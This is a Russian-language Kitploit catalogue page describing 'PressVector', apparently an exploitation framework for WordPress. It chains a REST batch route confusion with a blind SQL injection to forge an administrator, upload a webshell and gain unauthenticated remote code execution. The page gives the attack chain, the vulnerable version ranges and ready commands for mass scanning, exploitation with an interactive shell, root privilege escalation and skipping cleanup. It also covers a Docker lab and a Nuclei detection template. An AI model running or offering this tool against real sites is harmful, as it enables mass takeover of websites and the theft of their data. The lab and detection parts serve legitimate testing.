Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PressVector — PressVector — продвинутый сканер уязвимостей WordPress CVE-2026-63030 (путаница пакетных маршрутов REST) / CVE-2026-60137 (SQLi) Разработчик: Vulnquest | Kitploit
Инструменты/GitHubGitHub/vulnquest58/pressvector
РазведкаСканеры уязвимостейСканеры веб-уязвимостейСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubvulnquest58/pressvector

PressVector

PressVector — продвинутый сканер уязвимостей WordPress CVE-2026-63030 (путаница пакетных маршрутов REST) / CVE-2026-60137 (SQLi) Разработчик: Vulnquest

Репозиторий
11333 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🧨 PressVector — фреймворк эксплуатации WordPress CVE-2026-63030 / CVE-2026-60137

⚡ Продвинутый фреймворк эксплуатации Pre-Auth RCE и Blind SQLi для ядра WordPress


📌 Обзор

PressVector — это комплексный, полностью автоматизированный фреймворк эксплуатации, нацеленный на CVE-2026-63030 и CVE-2026-60137 — две критические уязвимости в ядре WordPress, которые в совокупности позволяют выполнить удалённый код без аутентификации.

Фреймворк объединяет в цепочку REST Batch Route Confusion и слепую SQL-инъекцию для подделки административных сессий, развёртывания веб-шеллов и выполнения произвольных команд ОС — и всё это без каких-либо учётных данных.

⚠️ Только для авторизованного тестирования безопасности и образовательных целей.


🔍 Что такое CVE-2026-63030 (wp2shell)?

CVE-2026-63030 — критическая уязвимость RCE с предварительной аутентификацией в ядре WordPress, обнаруженная Adam Kues (Assetnote / Searchlight Cyber). Эксплойт объединяет в цепочку две независимые уязвимости:

CVEРекомендацияТипВоздействие
CVE-2026-63030GHSA-ff9f-jf42-662qREST Batch Route ConfusionPre-Auth RCE
CVE-2026-60137GHSA-fpp7-x2x2-2mjfSQL-инъекция author__not_inPre-Auth Blind SQLi

💥 Цепочка эксплуатации

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Уязвимые версии

Версия WordPressПрименимые CVEВоздействиеСтатус
6.8.0 – 6.8.5CVE-2026-60137🟡 Слепая SQLi (высокая)❌ Уязвима
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (критическая)❌ Уязвима
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (критическая)❌ Уязвима
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (высокая)❌ Уязвима
6.8.6+ / 6.9.5+ / 7.0.2+—✅ Исправлено✅ Безопасна

📦 Установка

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Включённые инструменты

1️⃣ pressvector.py — Основной фреймворк эксплуатации

Полнофункциональный фреймворк эксплуатации с 4 режимами работы.

🔎 scan — Многопелевой сканер уязвимостей

Быстрый многопоточный сканер для обнаружения уязвимых установок WordPress в масштабе.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — Подтверждение слепой SQLi

Подтверждение time-based слепой SQL-инъекции на одной цели с калибровкой таймингов.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — Полная цепочка эксплуатации RCE

Полная эксплуатация: подделка администратора → развёртывание веб-шелла → выполнение команд.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — Повышение привилегий

Попытка локального повышения привилегий после получения RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — шаблон обнаружения Nuclei

Готовый к использованию в производственной среде шаблон Nuclei для крупномасштабного пассивного обнаружения.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Возможности шаблона:

  • 🔍 Обнаружение версии из нескольких источников (meta generator + резервный вариант через RSS-ленту)
  • 📡 Фингерпринтинг пространства имён REST API
  • 🎯 Пакетная проверка доступности маршрутов
  • 📋 Динамический вывод: версия, тип CVE, вектор атаки

🧪 Лабораторная среда (Docker)

Включена полностью автоматизированная контейнеризированная лаборатория для тестирования на проникновение, предназначенная для безопасной изолированной проверки этих уязвимостей.

Быстрый старт

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Подождите ~60–90 секунд при первом запуске, пока установщик WP-CLI автоматически настроит все сайты WordPress).

Службы и порты лаборатории

ПортСлужбаВерсия WordPressУязвимость / Статус
8080Цель 16.8.5CVE-2026-60137 (только слепая SQLi) 🔴
8081Цель 26.9.4CVE-2026-63030 (Pre-Auth RCE) 🔴
8082Цель 37.0.1CVE-2026-63030 (Pre-Auth RCE) 🔴
8083ЭталонПоследняяИсправлено / Безопасный эталон ✅
8084PHPMyAdmin—Инструмент управления БД
8085Панель лаборатории—Веб-интерфейс со статусом целей и копируемыми командами 🖥️

Учётные данные администратора: admin / admin123
Пароль root MySQL: root

Проверка и автоматизированное тестирование

Вы можете проверить всё состояние лаборатории и пути эксплуатации с помощью автоматизированного набора тестов:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Команды управления лабораторией

  • Остановить лабораторию (сохранить данные): запустите stop-lab.sh или .\stop-lab.ps1
  • Сбросить лабораторию (удалить данные и очистить сборку): запустите reset-lab.sh или .\reset-lab.ps1

Дополнительные инструкции и сведения об устранении неполадок см. в Lab README.


🏗️ Архитектура

Скачать инструмент